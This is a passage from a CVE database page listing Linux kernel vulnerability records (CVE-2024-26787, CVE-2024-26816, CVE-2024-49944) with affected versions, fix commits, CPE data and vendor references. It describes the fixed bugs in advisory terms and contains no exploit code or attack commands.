              "lessThan": "d610a307225951929b9dff807788439454476f85",
              "status": "affected",
              "version": "46b723dd867d599420fb640c0eaf2a866ef721d4",
              "versionType": "git"
            },
            {
              "lessThan": "6b1ba3f9040be5efc4396d86c9752cdc564730be",
              "status": "affected",
              "version": "46b723dd867d599420fb640c0eaf2a866ef721d4",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/mmc/host/mmci_stm32_sdmmc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.20"
            },
            {
              "lessThan": "4.20",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.213",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.152",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.81",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.21",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.213",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.152",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.81",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.21",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.9",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmmc: mmci: stm32: fix DMA API overlapping mappings warning\n\nTurning on CONFIG_DMA_API_DEBUG_SG results in the following warning:\n\nDMA-API: mmci-pl18x 48220000.mmc: cacheline tracking EEXIST,\noverlapping mappings aren\u0027t supported\nWARNING: CPU: 1 PID: 51 at kernel/dma/debug.c:568\nadd_dma_entry+0x234/0x2f4\nModules linked in:\nCPU: 1 PID: 51 Comm: kworker/1:2 Not tainted 6.1.28 #1\nHardware name: STMicroelectronics STM32MP257F-EV1 Evaluation Board (DT)\nWorkqueue: events_freezable mmc_rescan\nCall trace:\nadd_dma_entry+0x234/0x2f4\ndebug_dma_map_sg+0x198/0x350\n__dma_map_sg_attrs+0xa0/0x110\ndma_map_sg_attrs+0x10/0x2c\nsdmmc_idma_prep_data+0x80/0xc0\nmmci_prep_data+0x38/0x84\nmmci_start_data+0x108/0x2dc\nmmci_request+0xe4/0x190\n__mmc_start_request+0x68/0x140\nmmc_start_request+0x94/0xc0\nmmc_wait_for_req+0x70/0x100\nmmc_send_tuning+0x108/0x1ac\nsdmmc_execute_tuning+0x14c/0x210\nmmc_execute_tuning+0x48/0xec\nmmc_sd_init_uhs_card.part.0+0x208/0x464\nmmc_sd_init_card+0x318/0x89c\nmmc_attach_sd+0xe4/0x180\nmmc_rescan+0x244/0x320\n\nDMA API debug brings to light leaking dma-mappings as dma_map_sg and\ndma_unmap_sg are not correctly balanced.\n\nIf an error occurs in mmci_cmd_irq function, only mmci_dma_error\nfunction is called and as this API is not managed on stm32 variant,\ndma_unmap_sg is never called in this error path."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:04:10.919Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0224cbc53ba82b84affa7619b6d1b1a254bc2c53"
        },
        {
          "url": "https://git.kernel.org/stable/c/5ae5060e17a3fc38e54c3e5bd8abd6b1d5bfae7c"
        },
        {
          "url": "https://git.kernel.org/stable/c/70af82bb9c897faa25a44e4181f36c60312b71ef"
        },
        {
          "url": "https://git.kernel.org/stable/c/176e66269f0de327375fc0ea51c12c2f5a97e4c4"
        },
        {
          "url": "https://git.kernel.org/stable/c/d610a307225951929b9dff807788439454476f85"
        },
        {
          "url": "https://git.kernel.org/stable/c/6b1ba3f9040be5efc4396d86c9752cdc564730be"
        }
      ],
      "title": "mmc: mmci: stm32: fix DMA API overlapping mappings warning",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26787",
    "datePublished": "2024-04-04T08:20:19.751Z",
    "dateReserved": "2024-02-19T14:20:24.178Z",
    "dateUpdated": "2026-05-12T11:49:26.809Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26816 (GCVE-0-2024-26816)

Vulnerability from cvelistv5 – Published: 2024-04-10 13:53 – Updated: 2026-05-12 11:49

Title

x86, relocs: Ignore relocations in .notes section

Summary

In the Linux kernel, the following vulnerability has been resolved: x86, relocs: Ignore relocations in .notes section When building with CONFIG_XEN_PV=y, .text symbols are emitted into the .notes section so that Xen can find the "startup_xen" entry point. This information is used prior to booting the kernel, so relocations are not useful. In fact, performing relocations against the .notes section means that the KASLR base is exposed since /sys/kernel/notes is world-readable. To avoid leaking the KASLR base without breaking unprivileged tools that are expecting to read /sys/kernel/notes, skip performing relocations in the .notes section. The values readable in .notes are then identical to those found in System.map.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/13edb509abc91c721…
https://git.kernel.org/stable/c/52018aa146e3cf765…
https://git.kernel.org/stable/c/a4e7ff1a74274e59a…
https://git.kernel.org/stable/c/c7cff9780297d55d9…
https://git.kernel.org/stable/c/47635b112a64b7b20…
https://git.kernel.org/stable/c/af2a9f98d88420514…
https://git.kernel.org/stable/c/ae7079238f6faf1b9…
https://git.kernel.org/stable/c/5cb59db49c9c0fccf…
https://git.kernel.org/stable/c/aaa8736370db1a78f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5ead97c84fa7d63a6a7a2f4e9f18f452bd109045 , < 13edb509abc91c72152a11baaf0e7c060a312e03 (git) Affected: 5ead97c84fa7d63a6a7a2f4e9f18f452bd109045 , < 52018aa146e3cf76569a9b1e6e49a2b7c8d4a088 (git) Affected: 5ead97c84fa7d63a6a7a2f4e9f18f452bd109045 , < a4e7ff1a74274e59a2de9bb57236542aa990d20a (git) Affected: 5ead97c84fa7d63a6a7a2f4e9f18f452bd109045 , < c7cff9780297d55d97ad068b68b703cfe53ef9af (git) Affected: 5ead97c84fa7d63a6a7a2f4e9f18f452bd109045 , < 47635b112a64b7b208224962471e7e42f110e723 (git) Affected: 5ead97c84fa7d63a6a7a2f4e9f18f452bd109045 , < af2a9f98d884205145fd155304a6955822ccca1c (git) Affected: 5ead97c84fa7d63a6a7a2f4e9f18f452bd109045 , < ae7079238f6faf1b94accfccf334e98b46a0c0aa (git) Affected: 5ead97c84fa7d63a6a7a2f4e9f18f452bd109045 , < 5cb59db49c9c0fccfd33b2209af4f7ae3c6ddf40 (git) Affected: 5ead97c84fa7d63a6a7a2f4e9f18f452bd109045 , < aaa8736370db1a78f0e8434344a484f9fd20be3b (git)
Linux	Linux	Affected: 2.6.23 Unaffected: 0 , < 2.6.23 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26816",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-21T16:05:35.963352Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-21T16:05:55.498Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:14:13.600Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/13edb509abc91c72152a11baaf0e7c060a312e03"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/52018aa146e3cf76569a9b1e6e49a2b7c8d4a088"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a4e7ff1a74274e59a2de9bb57236542aa990d20a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c7cff9780297d55d97ad068b68b703cfe53ef9af"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/47635b112a64b7b208224962471e7e42f110e723"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/af2a9f98d884205145fd155304a6955822ccca1c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ae7079238f6faf1b94accfccf334e98b46a0c0aa"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5cb59db49c9c0fccfd33b2209af4f7ae3c6ddf40"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/aaa8736370db1a78f0e8434344a484f9fd20be3b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:30.301Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "arch/x86/tools/relocs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "13edb509abc91c72152a11baaf0e7c060a312e03",
              "status": "affected",
              "version": "5ead97c84fa7d63a6a7a2f4e9f18f452bd109045",
              "versionType": "git"
            },
            {
              "lessThan": "52018aa146e3cf76569a9b1e6e49a2b7c8d4a088",
              "status": "affected",
              "version": "5ead97c84fa7d63a6a7a2f4e9f18f452bd109045",
              "versionType": "git"
            },
            {
              "lessThan": "a4e7ff1a74274e59a2de9bb57236542aa990d20a",
              "status": "affected",
              "version": "5ead97c84fa7d63a6a7a2f4e9f18f452bd109045",
              "versionType": "git"
            },
            {
              "lessThan": "c7cff9780297d55d97ad068b68b703cfe53ef9af",
              "status": "affected",
              "version": "5ead97c84fa7d63a6a7a2f4e9f18f452bd109045",
              "versionType": "git"
            },
            {
              "lessThan": "47635b112a64b7b208224962471e7e42f110e723",
              "status": "affected",
              "version": "5ead97c84fa7d63a6a7a2f4e9f18f452bd109045",
              "versionType": "git"
            },
            {
              "lessThan": "af2a9f98d884205145fd155304a6955822ccca1c",
              "status": "affected",
              "version": "5ead97c84fa7d63a6a7a2f4e9f18f452bd109045",
              "versionType": "git"
            },
            {
              "lessThan": "ae7079238f6faf1b94accfccf334e98b46a0c0aa",
              "status": "affected",
              "version": "5ead97c84fa7d63a6a7a2f4e9f18f452bd109045",
              "versionType": "git"
            },
            {
              "lessThan": "5cb59db49c9c0fccfd33b2209af4f7ae3c6ddf40",
              "status": "affected",
              "version": "5ead97c84fa7d63a6a7a2f4e9f18f452bd109045",
              "versionType": "git"
            },
            {
              "lessThan": "aaa8736370db1a78f0e8434344a484f9fd20be3b",
              "status": "affected",
              "version": "5ead97c84fa7d63a6a7a2f4e9f18f452bd109045",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "arch/x86/tools/relocs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.23"
            },
            {
              "lessThan": "2.6.23",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86, relocs: Ignore relocations in .notes section\n\nWhen building with CONFIG_XEN_PV=y, .text symbols are emitted into\nthe .notes section so that Xen can find the \"startup_xen\" entry point.\nThis information is used prior to booting the kernel, so relocations\nare not useful. In fact, performing relocations against the .notes\nsection means that the KASLR base is exposed since /sys/kernel/notes\nis world-readable.\n\nTo avoid leaking the KASLR base without breaking unprivileged tools that\nare expecting to read /sys/kernel/notes, skip performing relocations in\nthe .notes section. The values readable in .notes are then identical to\nthose found in System.map."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:04:43.802Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/13edb509abc91c72152a11baaf0e7c060a312e03"
        },
        {
          "url": "https://git.kernel.org/stable/c/52018aa146e3cf76569a9b1e6e49a2b7c8d4a088"
        },
        {
          "url": "https://git.kernel.org/stable/c/a4e7ff1a74274e59a2de9bb57236542aa990d20a"
        },
        {
          "url": "https://git.kernel.org/stable/c/c7cff9780297d55d97ad068b68b703cfe53ef9af"
        },
        {
          "url": "https://git.kernel.org/stable/c/47635b112a64b7b208224962471e7e42f110e723"
        },
        {
          "url": "https://git.kernel.org/stable/c/af2a9f98d884205145fd155304a6955822ccca1c"
        },
        {
          "url": "https://git.kernel.org/stable/c/ae7079238f6faf1b94accfccf334e98b46a0c0aa"
        },
        {
          "url": "https://git.kernel.org/stable/c/5cb59db49c9c0fccfd33b2209af4f7ae3c6ddf40"
        },
        {
          "url": "https://git.kernel.org/stable/c/aaa8736370db1a78f0e8434344a484f9fd20be3b"
        }
      ],
      "title": "x86, relocs: Ignore relocations in .notes section",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26816",
    "datePublished": "2024-04-10T13:53:49.492Z",
    "dateReserved": "2024-02-19T14:20:24.180Z",
    "dateUpdated": "2026-05-12T11:49:30.301Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49944 (GCVE-0-2024-49944)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:02 – Updated: 2026-05-12 11:59

Title

sctp: set sk_state back to CLOSED if autobind fails in sctp_listen_start

Summary

In the Linux kernel, the following vulnerability has been resolved: sctp: set sk_state back to CLOSED if autobind fails in sctp_listen_start In sctp_listen_start() invoked by sctp_inet_listen(), it should set the sk_state back to CLOSED if sctp_autobind() fails due to whatever reason. Otherwise, next time when calling sctp_inet_listen(), if sctp_sk(sk)->reuse is already set via setsockopt(SCTP_REUSE_PORT), sctp_sk(sk)->bind_hash will be dereferenced as sk_state is LISTENING, which causes a crash as bind_hash is NULL. KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] RIP: 0010:sctp_inet_listen+0x7f0/0xa20 net/sctp/socket.c:8617 Call Trace: <TASK> __sys_listen_socket net/socket.c:1883 [inline] __sys_listen+0x1b7/0x230 net/socket.c:1894 __do_sys_listen net/socket.c:1902 [inline]

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/89bbead9d897c77d0…
https://git.kernel.org/stable/c/0e4e2e60556c6ed00…
https://git.kernel.org/stable/c/dd70c8a89ef99c3d5…
https://git.kernel.org/stable/c/e7a8442195e8ebd97…
https://git.kernel.org/stable/c/9230a59eda0878d7e…
https://git.kernel.org/stable/c/7f64cb5b4d8c87229…
https://git.kernel.org/stable/c/f032e1dac30b3376c…
https://git.kernel.org/stable/c/e914bf68dab88815a…
https://git.kernel.org/stable/c/8beee4d8dee76b67c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5e8f3f703ae4e4af65e2695e486b3cd198328863 , < 89bbead9d897c77d0b566349c8643030ff2abeba (git) Affected: 5e8f3f703ae4e4af65e2695e486b3cd198328863 , < 0e4e2e60556c6ed00e8450b720f106a268d23062 (git) Affected: 5e8f3f703ae4e4af65e2695e486b3cd198328863 , < dd70c8a89ef99c3d53127fe19e51ef47c3f860fa (git) Affected: 5e8f3f703ae4e4af65e2695e486b3cd198328863 , < e7a8442195e8ebd97df467ce4742980ab57edcce (git) Affected: 5e8f3f703ae4e4af65e2695e486b3cd198328863 , < 9230a59eda0878d7ecaa901d876aec76f57bd455 (git) Affected: 5e8f3f703ae4e4af65e2695e486b3cd198328863 , < 7f64cb5b4d8c872296eda0fdce3bcf099eec7aa7 (git) Affected: 5e8f3f703ae4e4af65e2695e486b3cd198328863 , < f032e1dac30b3376c7d6026fb01a8c403c47a80d (git) Affected: 5e8f3f703ae4e4af65e2695e486b3cd198328863 , < e914bf68dab88815a7ae7b7a3a5e8913c8ff14a5 (git) Affected: 5e8f3f703ae4e4af65e2695e486b3cd198328863 , < 8beee4d8dee76b67c75dc91fd8185d91e845c160 (git)
Linux	Linux	Affected: 2.6.30 Unaffected: 0 , < 2.6.30 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49944",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:37:19.751679Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:38:50.139Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:23:25.020Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:06.092Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sctp/socket.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "89bbead9d897c77d0b566349c8643030ff2abeba",
              "status": "affected",
              "version": "5e8f3f703ae4e4af65e2695e486b3cd198328863",
              "versionType": "git"
            },
            {
              "lessThan": "0e4e2e60556c6ed00e8450b720f106a268d23062",
              "status": "affected",
              "version": "5e8f3f703ae4e4af65e2695e486b3cd198328863",
              "versionType": "git"
            },
            {
              "lessThan": "dd70c8a89ef99c3d53127fe19e51ef47c3f860fa",
              "status": "affected",
              "version": "5e8f3f703ae4e4af65e2695e486b3cd198328863",
              "versionType": "git"
            },
            {
              "lessThan": "e7a8442195e8ebd97df467ce4742980ab57edcce",
              "status": "affected",
              "version": "5e8f3f703ae4e4af65e2695e486b3cd198328863",
              "versionType": "git"
            },
            {
              "lessThan": "9230a59eda0878d7ecaa901d876aec76f57bd455",
              "status": "affected",
              "version": "5e8f3f703ae4e4af65e2695e486b3cd198328863",
              "versionType": "git"
            },
            {
              "lessThan": "7f64cb5b4d8c872296eda0fdce3bcf099eec7aa7",
              "status": "affected",
              "version": "5e8f3f703ae4e4af65e2695e486b3cd198328863",
              "versionType": "git"
            },
            {
              "lessThan": "f032e1dac30b3376c7d6026fb01a8c403c47a80d",
              "status": "affected",
              "version": "5e8f3f703ae4e4af65e2695e486b3cd198328863",
              "versionType": "git"
            },
            {
              "lessThan": "e914bf68dab88815a7ae7b7a3a5e8913c8ff14a5",
              "status": "affected",
              "version": "5e8f3f703ae4e4af65e2695e486b3cd198328863",
              "versionType": "git"
            },
            {
              "lessThan": "8beee4d8dee76b67c75dc91fd8185d91e845c160",
              "status": "affected",
              "version": "5e8f3f703ae4e4af65e2695e486b3cd198328863",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sctp/socket.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.30"
            },
            {
              "lessThan": "2.6.30",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
